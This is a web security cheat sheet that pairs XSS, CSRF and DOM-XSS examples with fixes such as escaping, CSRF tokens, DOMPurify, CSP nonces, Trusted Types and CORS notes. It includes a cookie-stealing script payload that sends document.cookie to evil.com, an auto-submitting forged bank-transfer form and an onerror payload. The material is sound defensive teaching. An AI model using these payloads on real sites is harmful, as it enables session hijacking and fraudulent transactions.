Web Security Basics (XSS/CSRF) Cheat Sheet

<!-- VULNERABLE: user input rendered without escaping --><div>Welcome, <?php echo $_GET['name']; ?></div><!-- Attacker URL: ?name=<script>fetch('https://evil.com?c='+document.cookie)</script> --><!-- FIX 1: HTML-escape output --><div>Welcome, <?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?></div><!-- FIX 2: Content-Security-Policy header blocks inline script execution --><!-- Content-Security-Policy: default-src 'self'; script-src 'self' --><!-- FIX 3: In React/Vue, avoid dangerouslySetInnerHTML / v-html with untrusted input -->

<!-- Attacker's page auto-submits a form to your bank while the user is logged in --><form action="https://bank.com/transfer" method="POST" id="csrf">  <input type="hidden" name="to" value="attacker-account">  <input type="hidden" name="amount" value="10000"></form><script>document.getElementById('csrf').submit();</script><!-- DEFENSE: server includes a per-session CSRF token the attacker can't guess --><form action="/transfer" method="POST">  <input type="hidden" name="csrf_token" value="{{ csrfToken }}">  ...</form><!-- Server rejects the request unless the submitted token matches the session's token -->

// VULNERABLE: the URL fragment never goes to the server, but the sink is dangerous// e.g. page.html#<img src=x onerror=alert(document.cookie)>const name = location.hash.slice(1);document.getElementById('greeting').innerHTML = 'Hi ' + name; // sink: innerHTML// Other common dangerous sinks:// element.outerHTML = userInput// document.write(userInput)// eval(userInput) / new Function(userInput)// location.href = userInput            (javascript: URLs)// $(selector).html(userInput)          (jQuery)// FIX: use a safe sink, or sanitize before an HTML sinkdocument.getElementById('greeting').textContent = 'Hi ' + name;// If you must render HTML, sanitize with an allowlist-based libraryimport DOMPurify from 'dompurify';el.innerHTML = DOMPurify.sanitize(untrustedHtml);

<!-- Server generates a random nonce per response and only that inline script runs --><!-- Content-Security-Policy: script-src 'self' 'nonce-r4nd0mBase64'; object-src 'none'; base-uri 'self' --><script nonce="r4nd0mBase64">  initApp();</script><!-- Any injected <script> without the matching nonce is blocked, even with an XSS bug --><!-- Trusted Types: browser enforces that only sanitized TrustedHTML can reach innerHTML --><!-- Content-Security-Policy: require-trusted-types-for 'script' --><script>  const policy = trustedTypes.createPolicy('app-html', {    createHTML: (input) => DOMPurify.sanitize(input),  });  el.innerHTML = policy.createHTML(untrustedHtml); // raw string assignment now throws</script>

# Browser preflights a cross-origin request that carries credentials or custom headersOPTIONS /api/transfer HTTP/1.1Origin: https://app.example.comAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-type, authorization# Server must explicitly allow the origin AND credentials — a wildcard '*' is# rejected by browsers whenever Access-Control-Allow-Credentials is presentHTTP/1.1 204 No ContentAccess-Control-Allow-Origin: https://app.example.comAccess-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: POSTAccess-Control-Allow-Headers: content-type, authorization# Note: CORS controls whether JS on another origin can READ the response.# It does NOT stop the cross-origin request from being SENT in the first# place (that's what CSRF tokens / SameSite cookies defend against) —# a form POST or <img src> still fires regardless of CORS headers.